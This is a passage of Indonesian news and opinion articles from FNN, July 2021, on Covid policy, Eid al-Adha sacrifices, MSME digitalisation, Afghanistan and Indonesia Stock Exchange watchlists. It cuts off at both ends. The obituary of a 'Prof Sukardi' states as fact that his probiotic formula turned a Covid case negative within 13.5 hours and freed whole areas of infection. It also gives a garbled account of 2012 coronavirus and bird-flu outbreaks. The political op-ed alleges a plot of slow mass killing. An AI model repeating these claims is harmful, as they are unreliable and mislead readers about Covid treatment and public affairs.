Yang ada “sense of crisis” presiden. Akibatnya, hanya Presiden Jokowi saja yang punya “rasa krisis” itu. Ketiga, ini yang sangat serius. Presiden Jokowi, para menteri, dan para pejabat sernior lainnya sebetulnya sama-sama tidak punya “sense of crisis”. Kalau rasa krisis itu ada di dalam diri mereka, tak mungkin negra ini menjadi amburadul. Andaikata Jokowi punya “sense of crisis”, seharunya sejak kasus positif Covid mencapai angka ratusan ribu (akhir Juli 2020), beliau langsung mengambil tindakan “lockdown” total di sejumlah wilayah yang tinggi tingkat penularannya. Memang langkah ini berkonsekuensi besar dalam hal biaya. Pemerintah harus menyediakan keperluan hidup rakyat. Tapi, kalau tindakan ini dilakukan selama satu-dua bulan setahun yang lalu, sangat mungkin tingkat penularan hari ini yang mencapai 2.8 juta orang, tidak sampai terjadi. Sayangnya, Jokowi selalu menolak “lockdown” dengan alasan biaya. Padahal, dana penanganan Covid yang mencapai lebih 1,000 triliun, banyak terbuang sia-sia. Dalam arti tidak langsung diarahkan ke tindakan yang efektivitasnya telah teruji di banyak negara. Menakjubkan sekali. Untuk melindungi nyawa rakyat, Jokowi tega hitung-hitungan soal dana. Padahal, begitu banyak uang negara yang dipergunakan untuk proyek-proyek yang tidak urgen. Banyak pula yang dikorupsi. Kembali ke “sense of crisis”. Jokowi kecewa ada sejumlah menteri yang melakukan perjalanan ke luar negeri di tengah keadaan yang mencekam di dalam negeri. Di tengah PPKM Darurat dengan tingkat kematian Covid yang sangat memprihatinkan, Menko Perekonomian Arilangga Hartarto, Menteri Investasi Bahlil Lahadalia, Menteri Perdagangan Muhammad Luthfi, dan Kepala Bappenas Suharso Monoarfa, melakukan perjalanan ke luar negeri. Akhirnya, Jokowi mengeluarkan larangan. Tidak boleh pergi ke luar negeri kecuali Menlu. Menteri-menteri yang lain harus lebih dulu meminta izin langsung ke Presiden. Luar biasa, memang. Sepenting apa urusan yang harus dikerjakan para menteri yang pergi ke luar negeri itu? Mungkin mereka punya alasan kuat. Namun, Pak Jokowi sudah benar merasa kecewa. Tapi, sebetulnya, para menteri Jokowi bukanlah kehilangan “sense of crisis”. Melainkan mereka semua sedang dilanda “crisis of sense” (krisis rasa). Krisis kehilangan rasa di kalangan para pejabat. Tidak ada rasa bersalah, tidak ada rasa sedih, hilang rasa senasib sepenanggungan, dan rasa-rasa lainnya. Krisis rasa (crisis of sense) itu tak terlepas dari kepemimpinan Jokowi. Dari Jokowi sendirilah tumbuh dan berkembang “crisis of sense” itu.[] Penulis, wartawan senior FNN.co.id

Pengurus Masjid At Tin Sembelih 24 Sapi

Jakarta, (FNN) - Pengurus Masjid At Tin Taman Mini Indonesia Indah (TMII) Jakarta Timur menyembelih 24 ekor sapi. Satu di antaranya berbobot 1,1 ton. Kemudian daging hewan kurban tersebut dibagikan kepada masyarakat yang membutuhkan pada perayaan Idul Adha 2021. "Kalau di sini yang dipotong sapinya 24 ekor, paling besar 1,1 ton," kata Pelaksana tugas (Plt) Kadis Ketahanan Pangan, Kelautan dan Pertanian (KPKP) DKI Jakarta, Suharini Eliawati, kepada Antara di Masjid At Tin TMII, Jakarta Timur, Selasa, 20 Juli 2021. Elly, sapaan akrab Suharini menjelaskan, pemeriksaan sebelum dan sesudah sapi disembelih juga menunjukkan, hewan kurban tersebut dalam keadaan sehat. "Kalau secara ante mortem-nya bisa dilihat dari matanya, hidungnya, gerakannya lincah, bulunya bersih dan tidak kusam. Post mortem-nya itu hatinya, itu tidak ditemui cacing hati. Kalaupun ada, itu biasanya tidak perlu dibuang semuanya, limfanya juga cukup padat," ujarnya. Dia juga mengapresiasi panitia kurban Masjid At Tin yang menyediakan meja khusus bagi petugas Dinas KPKP DKI Jakarta untuk melakukan pemeriksaan terhadap hati, paru, limfa dan jantung sapi. "Kemudian Yayasan At Tin juga menyediakan meja untuk pemeriksaan. Jadi, kawan-kawan saya tidak perlu jongkok-jongkok," ucapnya. Namun, dia juga memberikan masukan kepada panitia pelaksana kurban untuk menambah alat potong sehingga proses pemotongan bisa lebih cepat dan segera dibagikan kepada para warga yang berhak menerima zakat (mustahik). "Salah satu masukan yang saya berikan kalau bisa alat potongnya ditambah agar pemotongannya bisa lebih cepat dan lebih rapi. Hal itu karena yang dipotong selalu di atas 20 ekor," ujarnya. (MD).

Mendorong UMKM Naik Kelas dengan Pemanfaatan Aplikasi Digital

Jakarta, FNN - Sebuah riset menunjukkan di tengah pandemi ternyata hanya mereka yang telah “on boarding” ke dunia digital yang mampu bertahan bahkan meningkatkan skala usahanya. Solusi ini sejatinya merupakan salah satu cara bagi usaha mikro kecil menengah (UMKM) agar tetap mampu bertahan di masa pendemi. Tercatat sebagaimana riset Google, Temasek, Bain pada 2020, selama pandemi, ada 38 persen pengguna internet baru dengan rata-rata waktu online perharinya 4,3-4,7 jam/orang. Bahkan, World Bank menyebutkan, 80 persen UMKM yang terhubung ke dalam ekosistem digital memiliki daya tahan lebih baik. Oleh karena itu saat ini Pemerintah Indonesia terus mendorong UMKM Go-Digital dengan berbagai pendekatan, di antaranya melalui peningkatan literasi digital, kapasitas, dan kualitas usaha. Dengan begitu digitalisasi tidak hanya dalam memperluas pasar namun juga di dalam proses bisnisnya, melalui penguatan database (basis data tunggal), peningkatan kualitas SDM, dan pengembangan kawasan/kluster terpadu UMKM. Selain itu juga melalui perluasan pasar digital melalui Kampanye BBI, on-boarding platform pengadaan barang dan jasa (LKPP, PaDI), Live Shopping, dan Sistem Informasi Ekspor UMKM. Hingga kini untuk onboarding UMKM, telah bertambah 5 juta UMKM atau total 13,7 juta UMKM sudah terhubung dengan ekosistem digital atau sekitar 21 persen total populasi UMKM. Para pelaku UMKM ini juga selalu didorong untuk memaksimalkan pemanfaatan aplikasi digital agar mampu mendongkrak pendapatan dan meningkatkan kelas bisnisnya. Direktorat Ekonomi Digital, Ditjen Aplikasi Informatika, Kemenkominfo misalnya berupaya memfasilitasi 26.000 UMKM di 10 Destinasi Wisata Prioritas Indonesia dengan dukungan pendampingan oleh fasilitator, Training Center, bantuan paket data, aplikasi aggregator marketplace, aplikasi kasir (POS - Point of Sales), dan aplikasi pembelajaran online selama enam bulan agar UMKM lebih piawai dalam berbisnis menggunakan platform digital. Pendampingan yang dilaksanakan di 10 destinasi wisata prioritas ini dimaksudkan untuk mencapai “active-selling” dari 26.000 UMKM kategori produsen sektor pengolahan. Dari “Active Selling” tersebut, UMKM diharapkan mampu menghidupkan toko online mereka yang ada di marketplace dengan mengunggah foto dan deskripsi produk, berinteraksi dengan calon konsumen, dan juga melakukan transaksi di marketplace. Target kegiatan ini merupakan kelanjutan dari target yang telah dicapai tahun sebelumnya, yakni on-boarding (memiliki atau membuka toko online) dari 20.000 UMKM di pasar-pasar tradisional di sepuluh kota yang telah ditentukan. Kegiatan ini sebelumnya pernah dilakukan tahun lalu yakni on-boarding yang menyasar pedagang-pedagang pasar tradisional. Tahun ini Pemerintah melakukan “active-selling” agar para pelaku UKM lebih gencar berdagang di pasar online dan dapat memaksimalkan aplikasi-aplikasi digital untuk meningkatkan akses pemasaran, permodalan, dan bisnis yang relatif lebih efektif dan efisien. Sub Koordinator Kajian dan Survei Dampak UMKM Kemenkominfo Puti Adella Elvina mengatakan, selama enam bulan, sebanyak 26.000 UMKM tersebut didampingi dalam proses “active-selling”, mendapatkan materi-materi pelatihan dengan topik Pemanfaatan Media Sosial, E-Commerce, Teknologi Keuangan, Aplikasi POS (Point of Sales), dan Teknologi 4.0. Harapannya agar UMKM mampu meningkatkan kapasitas penggunaan aplikasi digital dalam kegiatan usahanya. Selain itu 26.000 UMKM juga akan mendapatkan fasilitas aplikasi aggregator marketplace, untuk memudahkan proses monitoring terhadap aktivitas toko-toko online di beberapa marketplace. UMKM juga dipandu untuk menerapkan aplikasi POS (Point of Sales) agar proses transaksi mereka terbukukan dengan baik. Dua aplikasi tersebut dapat dimanfaatkan secara gratis selama enam bulan bagi UMKM yang mengikuti kegiatan ini. Untuk mengakses platform digital tersebut UMKM dibekali dengan fasilitas paket data. Para fasilitator yang diterjunkan siap mendampingi para UMKM baik secara online maupun offline. Pendampingan secara offline dapat dilaksanakan di Training Center yang disediakan di setiap daerah lengkap dengan fasilitas wifi dan laptop. Namun, jika ada kendala untuk hadir ke Training Center, maka fasilitator akan datang ke lokasi usaha atau domisili dari para pelaku UMKM. Akses internet khusus di berbagai titik daerah juga disediakan bagi UMKM yang lokasi usahanya jauh dari Training Center. Siap Mendampingi Mendorong UMKM untuk menggunakan aplikasi digital bukan pekerjaan mudah, oleh karena itu disiagakan para fasilitator yang siap mendampingi pelaku UMKM go digital. Koordinator Adopsi Teknologi Digital UMKM Kemenkominfo Sumarno mengatakan para fasilitator yang telah mendapatkan training siap mendampingi UMKM baik online atau pun offline. Pendampingan bisa dilakukan di mana saja termasuk di Training Center atau di tempat usaha. Pendampingan dan fasilitas ini diberikan untuk 26.000 UMKM selama enam bulan. Ia berpendapat pemanfaatan teknologi dan aplikasi digital harus terus digaungkan agar para pelaku UMKM di berbagai industri, level, dan daerah, dapat merasakan manfaat teknologi digital untuk menunjang bisnis mereka. Program ini juga didukung oleh kegiatan publikasi untuk meningkatkan kepedulian masyarakat melalui radio-radio lokal di sepuluh target wilayah yang menjangkau hingga ke pelosok daerah, yang mengajak para pelaku UMKM untuk memaksimalkan kesempatan untuk mengembangkan usahanya dengan mengoptimalkan penggunaan aplikasi digital. “Awareness” ini juga ditujukan kepada stakeholders terkait, agar dapat bersinergi dalam mendorong perkembangan UMKM di daerahnya. Bersamaan dengan pendampingan, pemerintah juga melaksanakan survei terhadap 37.000 UMKM khususnya produsen dan pengolahan di target lokasi yang sama secara online dan offline. Survei ini bertujuan untuk memperbaharui data terkait adopsi teknologi digital oleh UMKM, yang dapat digunakan sebagai dasar bagi pelaksanaan program berikutnya. Tercatat ada tiga agenda besar bagi UMKM di Tanah Air dari Direktorat Ekonomi Digital, Ditjen Aplikasi Informatika, Kemenkominfo yaitu “on-boarding”, “active-selling”, dan “scale-up”. Tiga agenda tersebut bertujuan agar para UMKM berkembang lebih besar dan menjadi yang terdepan dalam ekonomi kerakyatan. Melalui tiga langkah untuk UMKM Plt. Direktur Ekonomi Digital, Kemenkominfo, I Nyoman Adhiarna, mengharapkan para pelaku UMKM bisa segera naik kelas menjadi pebisnis besar. Dari yang semula menggunakan lapak biasa kemudian didorong untuk memiliki toko online (“on-boarding”). Lalu mereka difasilitasi agar meningkatkan aktivitas bisnis mereka di berbagai platform digital (“active-selling”). Dan ke depan mereka akan didampingi agar bisa melebarkan sayap dan mengembangkan bisnis dengan program “scale-up”. (mth)

Tindak Tegas Hoaks Penanganan Covid-19

Jakarta, (FNN) - Kabareskrim Polri Komjen Agus Andrianto menginstruksikan kepada seluruh jajarannya untuk menindak tegas adanya informasi palsu atau hoaks yang mengganggu upaya pemerintah dalam penanganan Covud-19. "Jika pelanggaran person to person (orang per orang), terapkan restorative justice dan surat edaran Kapolri. Akan tetapi, jika mengganggu upaya pemerintah dalam penanganan Covid-19, tindak tegas," kata Agus dalam rapat virtual di Mabes Polri, Jakarta, Selasa, Selasa, 20 Juli 2021. Agus menyebutkan, banyaknya berita bohong terkait dengan Covid-19 menimbulkan kebingungan di tengah masyarakat sehingga upaya penanganan pandemi menjadi tidak optimal. "Jangan sampai masyarakat bingung dengan banyaknya berita bohong yang berkembang di tengah masyarakat," kata Agus sebagaimana dikutip dari Kantor Berita Antara. Polri melakukan penindakan terhadap pelaku penyebaran berita bohong terkait dengan penanganan pandemi Covid-19. Salah satu yang ditindak dokter Lois Owien. Dokter Lois Owien dikenai Pasal 28 Ayat (2) juncto Pasal 45A Ayat (2) Undang-Undang Nomor 19 Tahun 2016 tentang Perubahan atas Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik dan/atau Pasal 14 Ayat (1) Undang-Undang Nomor 1 Tahun 1946 dan/atau Pasal 14 Ayat (2) Undang-Undang Nomor 1 Tahun 1946 dan/atau Pasal 14 ayat (1) dan Undang Nomor 4 Tahun 1984 dan/atau Pasal 15 Undang-Undang Nomor 1 Tahun 1946 tentang Peraturan Hukum Pidana. Di sisi lain, Agus juga menyampaikan pesan Kapolri Jenderal Listyo Sigit Prabowo yang menekankan kepada seluruh anggota kepolisian untuk tidak bersifat arogan kepada masyarakat dalam pelaksanaan pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat. "Jangan sampai tindakan yang kami lakukan sifatnya kontraproduktif dengan kebijakan pemerintah. Mohon jajaran mengingatkan agar semua lini tidak bersifat arogan kepada masyarakat. Seperi contoh di Solo yang menggunakan bahasa daerah dan lebih persuasif," tutur Agus. Agus mengingatkan, terkait dengan protokol kesehatan, misalnya kepada pedagang yang menerapkan menjaga jarak maka hal tersebut masih diperbolehkan berjualan. Kecuali sudah melanggar jam operasional yang ditentukan pada masa PPKM darurat. Ia meminta jajarannya melakukan pengecekan setiap hari terkait dengan distribusi dan ketersediaan obat-obatan maupun oksigen di wilayahnya masing-masing. "Kapolri mengingatkan bahwa Polri siap membantu pelaksanaan distribusi bantuan sosial kepada setiap daerah yang paling terdampak," kata Agus.(MD).

Tiga Roket Jatuh di Dekat Istana Presiden

Kabul, {FNN) - Roket yang menghantam ibu kota Afghanistan pada Selasa jatuh di dekat istana presiden pada saat pelaksanaan shalat Idul Adha. Menurut laporan media dan pejabat setempat, belum diketahui dalang di balik serangan tersebut. "Tiga roket mendarat di depan istana presiden," kata juru bicara Kementerian Dalam Negeri Mirwais Stanekzai. Belum ada laporan mengenai korban luka dalam peristiwa tersebut. Tayangan televisi memperlihatkan serangan roket mengganggu pelaksanaan salat Ied di kompleks istana yang dihadiri Presiden Ashraf Ghani. Meski demikian, shalat tetap berjalan dengan khusuk di tengah suara ledakan. Sebagaimana dikutip dari Kantor Berita Antara, Presiden Ghani kemudian menyampaikan pidato dari luar podium, menurut siaran media setempat. Keamanan di Afghanistan semakin memburuk. Sbagian besar didorong oleh pertempuran di provinsi-provinsi ketika pasukan asing mundur dan kelompok Taliban meluncurkan serangan besar-besaran, merebut wilayah dan menyeberangi perbatasan. Berbeda dari beberapa tahun sebelumnya, Taliban tidak menyatakan gencatan senjata selama libur lebaran tahun ini. Pada Senin 15 misi diplomatik dan perwakilan NATO di Kabul meminta Taliban agar menghentikan serangan. Permintaan itu dikeluarkan beberapa jam setelah kelompok tersebut dan pemerintah Afghanistan gagal mencapai gencatan senjata dalam pembicaraan di Doha. {MD}.

PPKM Lanjut atau Jokowi Turun

By M Rizal Fadillah Bandung, FNN - PPKM Darurat berakhir hari ini dan sampai saat ini belum ada keputusan apa-apa. Sebelumnya telah muncul rencana perpanjangan hingga akhir Juli atau lebih sebagaimana dikemukakan Menko PMK Muhajir dan Menkeu Sri Mulyani. PPKM Darurat tidak menunjukkan hasil signifikan bahkan pembatasan paksa Pemerintah ini telah membawa penderitaan rakyat. Mahasiswa di beberapa daerah mulai meneriakkan kata lawan untuk perpanjangan PPKM. Agenda aksi mulai terlihat di media sosial. Aksi perlawanan ini adalah akibat tertekannya rakyat menghadapi pembatasan gerak. Sekat sana sekat sini, usaha kecil dilumpuhkan, lapak diobrak-abrik, serta kebijakan ketat di daerah yang tak jelas protokolnya. Bagusnya beberapa pendukung Presiden telah ikut teriak pula agar Jokowi tidak melakukan perpanjangan PPKM. Denny Siregar dan Ade Armando di antaranya. Entah sebagai proposal, kesadaran baru, atau karena ikut terobrak-abrik lapaknya akibat PPKM. Nyatanya penderitaan itu kini terasa menyeluruh. Luhut sang jagoan juga mencoba meminta maaf pada rakyat atas ketidakmampuan mengatasi pandemi. Jokowi kumat lagi penyakitnya dalam situasi darurat masih sempat melakukan akting pencitraan blusukan malam-malam bagi-bagi obat dan sembako. Mengagetkan pula ternyata Jokowi terang-terangan mencanangkan Herd Immunity. Pola penanganan dengan cara membiarkan masyarakat saling menularkan demi imunitas. Sungguh semakin kacau pola penanganan pandemi di bawah komando "panglima tertinggi" Jokowi ini. Semua coba-coba. PSBB, New Normal, PPKM Darurat, lalu apa lagi ? Perpanjangan PPKM atau ciptakan istilah baru SDSB, PPKI, PSSI, atau Warkop. Entahlah. Usul saja nih bagaimana jika sekarang penanggulangan pandemi kita coba dengan cara Jokowi turun. Negara tanpa Jokowi. Siapa tahu Coronavirus ikut pergi dan lari tunggang langgang. Herd immunity yang dicanangkan Jokowi sangat berbahaya. Dilarang WHO yang menurut pejabat WHO Dr. Mike Ryan manusia bukan kumpulan hewan ternak. Penularan tanpa kendali bisa terjadi untuk menciptakan tumbal yang meninggal bergelimpangan. Atau tumbal memang telah menjadi hal yang biasa sebagaimana pembantaian enam laskar FPI, pembunuhan sembilan pedemo Mei 2019, dan tewasnya 700 petugas KPPS ? Keadaan tidak boleh terus berada dalam ketidakpastian. DPR, DPD, dan MPR harus segera ambil tindakan dengan langkah-langkah politik yang penting dan berguna. Jangan diam seribu bahasa di tengah penderitaan rakyat yang semakin berat. Situasi telah sangat darurat. Indonesia terancam oleh kekuatan raksasa yang ingin segera menenggelamkan dan menghancurkan. Jahatnya, para penghianat di lingkaran elit kekuasaan sedang menari-nari mengikuti irama genjer-genjer. Bagai bersiap-siap untuk melakukan pembunuhan masal rakyat secara perlahan-lahan. PPKM Darurat bukan solusi tetapi hukuman mati. Karenanya wajar jika berlaku ultimatum PPKM lanjut atau Jokowi turun. *) Pemerhati Politik dan Kebangsaan Bandung, 20 Juli 2021

Polda Metro "Sulap" Delapan Ton Sapi Jadi Rendang untuk Warga DKI

Jakarta, FNN - Polda Metro Jaya "menyulap" delapan ton sapi hewan kurban menjadi rendang siap santap untuk dibagikan kepada warga DKI Jakarta saat Hari Raya Idul Adha. ​​ Sebanyak delapan ton sapi itu merupakan bagian dari 200 ekor sapi yang disumbangkan Polda Metro Jaya untuk dibagikan kepada warga, termasuk 80 ekor disembelih yang dibagikan kepada panti asuhan dan majelis taklim. "Terus sisanya delapan ton saya kerjasama dengan beberapa restoran Padang di Jakarta dalam bentuk rendang dan saya bagi ke rumah-rumah," kata Kepala Polisi Daerah Polda Metro Jaya Irjen Pol Fadil Imran di Jakarta, Senin. ​​​​ Hidangan rendang itu nanti akan dibagikan petugas pemantau di sejumlah titik penyekatan kawasan Jakarta kepada warga sekitar ketika Idul Adha. Dalam prosesnya, Fadhli menggandeng rumah makan khas Padang dan beberapa Usaha Mikro Kecil Menengah (UMKM) untuk memproduksi rendang tersebut. ​​​​ Tidak hanya rendang, petugas juga akan membagikan paket bantuan sosial (Bansos) di sekitar titik penjagaan. Hal itu juga dibenarkan Kabid Humas Polda Metro Jaya Kombes Pol Yusri Yunus pada hari yang sama. Namun demikian, Yusri tak merinci titik penjagaan dan lokasi pembagian paket bbanso, serta daging hewan kurban. "Kami patroli-patroli di tempat yang memang kita anggap rawan sambil kita woro-woro juga sambil membagikan bansos yang ada," kata dia.​​ Yusri berharap dengan upaya ini masyarakat mau mengurungkan niat untuk berkeliaran saat Idul Adha sehingga tidak terjadi kerumunan di tempat-tempat umum. (mth)

Obituari: Prof Sukardi, Formulator Probiotik Meninggal Dunia

Surabaya, FNN - Innalillahi wa inna Ilaihi roji'un. Kapolres Pasuruan beserta staf dan jajaran mengucapkan Turut Berduka Cita yang mendalam atas meninggalnya Prof. DR. Ainul Fatah/Bang Kardi, Jum'at, 16 Juli 2021 pukul 05.30 WIB. “Semoga Almarhum Diberikan Tempat Yang Mulia di Sisi Allah SWT. Dan Keluarga yang Ditinggalkan Diberi Ketabahan”. Ucapan itu datang dari AKBP Erick Frendriz, SIK, MSi, Kapolres Pasuruan. Nama Prof. Ainul Fatah yang akrab dipanggil Bang Kardi (Sukardi) itu adalah Ahli Mikro Kultur Bakteriologi, satu diantara 6 pakar serupa yang ada di dunia. Namanya memang tak begitu familiar di Indonesia. Tapi, mengapa perwira menengah Polri sekelas Kapolres Pasuruan itu sampai mengucapkan bela sungkawa saat Bang Kardi ini meninggal dunia? Itu karena sumbangsihnya membantu mengatasi Virus Corona (Covid-19) di Kota dan Kabupaten Pasuruan. Terakhir sebelum meninggal dunia, dikabarkan, beberapa titik di wilayah Pasuruan berhasil diatasi dengan formula probiotik siklus/komunitas berbasis mikroba yang ditebar di sana, sehingga beberapa titik itu terbebas dari Covid-19. Bang Kardi bersama timnya sering turun langsung ke pasien-pasien di RS dengan memberi formula PS/K yang disebar secara gratis. Saat awal pandemi mulai melanda Indonesia, Bang Kardi bersama timnya sibuk meracik formula untuk mengatasi Covid-19. Kala dunia hingga kini belum menemukan obat untuk mengatasi Covid-19, Bang Kardi sudah berhasil membuat formula untuk “melawan” SARS-Cov-2 ini, seperti halnya saat Arab Saudi dilanda SARS-Cov-1 yang menyerang melalui Onta di sana pada 2012. Pada musim haji pada 2012, flu burung varian baru, New Corona, mewabah di sekitar Arab Saudi. Bang Kardi mengirim varian bioto-16 sebanyak 5.000 liter, dikemas oleh PT Otsuka Malang dalam bentuk ampul vaksin. Pengiriman ke Arab Saudi kemudian dibagikan kepada para jamaah haji dan relatif berhasil menghindarkan jamaah haji tersebut dari wabah new corona. Formula tersebut diambilkan dari pabriknya di kawasan Pandaan, Kabupaten Pasuruan. Beberapa waktu lalu, varian bioto-10 dengan merk BJ dikirim ke Glenn Eagles, Singapore serta ke RS Malaya Malaysia, dan diberi merk sendiri, dengan indikasi untuk toksoplasma dan flu burung. Produk bioto tersebut dijual ke pasien, yang mayoritas orang Indonesia, dijual laris dengan harga saat itu Rp1,5 juta rupiah. Di tempat lain, di Indonesia, terdapat profesor yang menjual suatu produk mikrobakteri dan diklaim hanya untuk toksoplasma, dijual dengan harga Rp750.000,-per botol (1,5 liter) dan laris. Faktanya produk yang dijual itu merupakan fermentasi bioto generasi ke-8 atau 9, dua varian produk Bang Kardi. Secara teknis untuk pengobatan toksoplasma minimal menelan waktu 1 tahun, bila dilakukan kurang dari waktu tersebut, dikuatirkan akan mudah kambuh lagi. Prof. Sukardi merupakan ahli mikrobakteriologi, bukan mikrobiologi sebagaimana yang ada di hampir setiap Fakultas MIPA. Dalam ilmu kedokteran, ahli berbagai kuman disebut ahli parasitologi, ahli virus di sebut virologi. Bang Kardi menempuh pendidikannya di sebuah universitas di Pulau Kyushu, Jepang, S2 mengambil bidang mikrobakteriologi, dan S3 mengambil bidang mikro kultur bakteriologi. Dosen yang sangat terkenal di dunia internasional yang dikenal sebagai Ketua Perkumpulan Ahli Mikrobakteriologi sedunia bernama Prof. DR. Teruo Higa dan Prof. DR. Hiromi Shinya. Keduanya merupakan ahli mikrobakteriologi, bukan mikro kultur bakteriologi. Prof. Teruo Higa tersebut sangat terkenal dengan penemuannya yang disebut EM (efektif mikroorganisme), beliaulah yang berhasil menghidupkan kembali wilayah Hiroshima dan Nagasaki yang hancur lebur serta penuh dengan limbah nuklir. Dengan teknologi mikrobakteriologi yang dimilikinya, Hiroshima dan Nagasaki berhasil dihidupkan lagi dalam waktu yang jauh lebih cepat dari dugaan para ahli sedunia. Ternyata dengan penciptaan flora bakteri di alam semesta ini, kehidupan manusia dan makhluk hidup bisa dijaga kembali. Teruo Higa melakukan riset bertahun-tahun di Pecatu, Buleleng, Bali, karena pada awalnya di negaranya sendiri beliau ditolak. Dari Bali, Teruo Higa menuju ke Thailand hingga berhasil membantu Thailand mencapai swasembada pangan serta produk pertanian yang handal lainnya, selanjutnya ke Vietnam, baru kemudian kembali ke Jepang. Di negara seperti Jepang, Jerman, dan Israel, pengembangan bakteri masih menggunakan teknologi MRS (method regenerative system), sedangkan Bang Kardi telah memakai MAS (method air system), maka kecepatannya bisa seperti kecepatan angin bertiup. Laboratoriumnya adalah alam sekitar; catatan dan bukunya ada di otaknya. Makanya, Bang Kardi lebih memilih tinggal di kawasan Pandaan yang sekaligus sebagai laboratoriumnya. Ia memang tak pernah mencatat dalam sebuah buku, kecuali oret-oretan saja. Ilmu hasil olah pikirannya itu biasanya dicatat oleh para “santri” yang banyak diantaranya adalah para dokter. Setidaknya sudah lebih dari 250 dokter dan tenaga kesehatan lainnya di Indonesia pernah menjadi muridnya dan berguru kepada Bang Kardi. Bang Kardi tidak pernah pungut biaya untuk bisa “sekolah” di tempatnya. Karena dari sisi finansial, ia sudah cukup berkelebihan. Bagi yang sudah pernah bertemu Bang Kardi, kita diwajibkan segera mengamalkannya. Makanya, ketika pandemi Covid-19 mulai melanda Indonesia, para dokter “murid” Bang Kardi sudah mengaplikasikan ilmu yang diperolehnya itu dengan formula probiotik untuk bantu pasien Covid-19. Dan, hasilnya sangat luar biasa. Salah satu contohnya ada orang penting di satu daerah. Dua hari menjelang hari H, setelah diswab, ternyata positif. Malamnya setelah diswab, disarankan minum 4 varian produk probiotik sesuai takaran yang ditetapkan. Diminum setiap 1 jam sekali, semampunya (diminum mulai pukul 21.30). Belum diketahui, sampai berapa kali minumnya. Esok harinya, pukul 11.00 diswab lagi. Hasilnya: NEGATIF. Note: tanpa comorbid. Hasil negatifnya, terkonfirmasi melalui 2x uji lab, di RS Semen Gresik (SG) dan Parahita Surabaya. Mulai minum sampai uji lab yang hasilnya Negatif itu dalam waktu hanya 13,5 jam. Ini fakta di lapangan, bukan Hoax! Di dunia ini, pusat pengembangan produk bakteri terdapat di negara: Jepang, Israel, Jerman. Sementara Amerika Serikat (AS) merupakan pusat produk virus. Jepang dengan revolusi mikrobakteri yang dilakukan melalui proses penanaman tumbuhan dengan menggunakan teknologi pupuk alami non kimia, telah berhasil menghidupkan serta menghijaukan kembali wilayah Hiroshima dan Nagasaki. Orang yang sangat berperan pada proses tersebut bernama Prof. Teruo Higa, yang terkenal sebagai penemu teknologi EM (efektif mikroorganisme). Teruo Higa adalah guru dari Prof. Sukardi untuk bidang Mikroorganisme. Setelah belajar sekitar 8 tahun, Sukardi dinyatakan sebagai profesor Ahli Kultur Bakteri. Ahli kultur bakteri pada awalnya berjumlah sekitar 22 orang, sekarang tinggal 12 orang, itu pun 11 orang diantaranya sudah tidak bisa berinteraksi dengan dunia luar secara bebas. Dari 12 orang itu, konon, selama ini hanya tinggal 6 orang saja yang masih tersisa, termasuk Prof. Sukardi. Kini, Bang Kardi telah tiada. Warisan ilmu Bang Kardi pasti akan diamalkan oleh para murid dan santrinya. Sebelumnya, Kamis, 15 Juli 2021, salah satu orang kepercayaannya, Ustadz Ali Athwa, telah mendahului Prof. Sukardi. Dan, Selasa siang, 20 Juli 2021, murid lainnya yang dipercayanya, Ustadz Basuki Rokhmat Sodiq, menyusul Prof. Sukardi juga. Selamat Jalan Profesor.

BEI Masukkan 17 Emiten dalam Daftar Pemantauan Khusus

Jakarta, FNN - Bursa Efek Indonesia (BEI) menyebutkan sebanyak 17 perusahaan tercatat atau emiten masuk ke dalam daftar efek bersifat ekuitas yang diperdagangkan dalam pemantauan khusus atau watchlist yang mulai diimplementasikan pada Senin ini. "Pada pengumuman pertama yang telah kami keluarkan ini, ternyata terdapat 17 perusahaan tercatat yang masuk ke dalam daftar efek bersifat ekuitas dalam pemantauan khusus," kata Direktur Pengembangan BEI Hasan Fawzi saat jumpa pers daring di Jakarta, Senin. Merujuk Peraturan Nomor II-S tentang Perdagangan Efek Bersifat Ekuitas Dalam Pemantauan Khusus dan dalam rangka memberikan perlindungan kepada Investor terkait informasi fundamental dan likuiditas perusahaan tercatat, bursa menetapkan daftar efek bersifat ekuitas dalam pemantauan khusus yang berlaku efektif pada 19 Juli 2021. Adapun 17 emiten tersebut antara lain PT Kertas Basuki Rachmat Indonesia Tbk (KBRI), PT Envy Technologies Indonesia Tbk (ENVY), PT Marga Abhinaya Abadi (MABA), PT Pollux Properti Indonesia Tbk (POLL), PT Mitra Pemuda Tbk (MTRA), PT Golden Plantation Tbk (GOLL), PT Pan Brothers Tbk (PBRX), dan PT Intan Baruprana Finance Tbk (IBFN). Selanjutnya yaitu PT Intraco Penta Tbk (INTA), PT Sri Rejeki Isman Tbk (SRIL), PT Waskita Beton Precast Tbk (WSBP), PT Grand Kartech Tbk (KRAH), PT Garda Tujuh Buana Tbk (GTBO), PT Leyand International Tbk (LAPD), PT Onix Capital Tbk (OCAP), PT Magna Investama Mandiri Tbk (MGNA), dan PT Pelangi Indah Canindo Tbk (PICO). Kepala Divisi Pengaturan dan Operasional Perdagangan BEI Irvan Susandy mengatakan jumlah perusahaan tercatat yang masuk dalam daftar pemantauan khusus tersebut bisa berkurang atau bertambah. Apabila penyebab emiten masuk ke dalam daftar tersebut sudah terselesaikan, emiten pun akan dikeluarkan dalam daftar tersebut. "Jadi salah satu tujuannya lebih kepada pada investor bahwa kami memberikan informasi material yang bisa memengaruhi keputusan investasi. tapi dengan cara yang lebih mudah. Jadi gak perlu cari berita atau pengumuman yang mungkin banyak sekali keluhan bahwa website kita rumit, cari pengumuman susah, nah ini informasi material ini kami sampaikan dalam bentuk informasi, terutama untuk nasabah-nasabah dari online trading," ujar Irvan. Untuk penerapan awal pada Juli 2021, terdapat tujuh dari 11 kriteria yang akan digunakan untuk menyeleksi saham yang masuk dalam daftar efek bersifat ekuitas pemantauan khusus, sesuai dengan Peraturan Nomor II-S tersebut. Kriteria pertama, laporan keuangan auditan terakhir mendapatkan opini tidak menyatakan pendapat atau opini disclaimer. Kedua, tidak membukukan pendapatan atau tidak terdapat perubahan pendapatan jika dibandingkan dengan laporan keuangan yang disampaikan sebelumnya. Ketiga, untuk perusahaan mineral dan batubara (minerba) atau merupakan induk perusahaan yang memiliki perusahaan terkendali yang bergerak di bidang minerba namun belum sampai tahapan penjualan, pada akhir tahun buku ke-4 sejak tercatat di bursa belum memperoleh pendapatan dari kegiatan usaha utama. Keempat, dalam kondisi dimohonkan Penundaan Kewajiban Pembayaran Utang (PKPU) atau dimohonkan pailit. Kelima, memiliki anak perusahaan yang kontribusi pendapatannya material bagi perusahaan tercatat dan anak perusahaan tersebut dalam kondisi dimohonkan 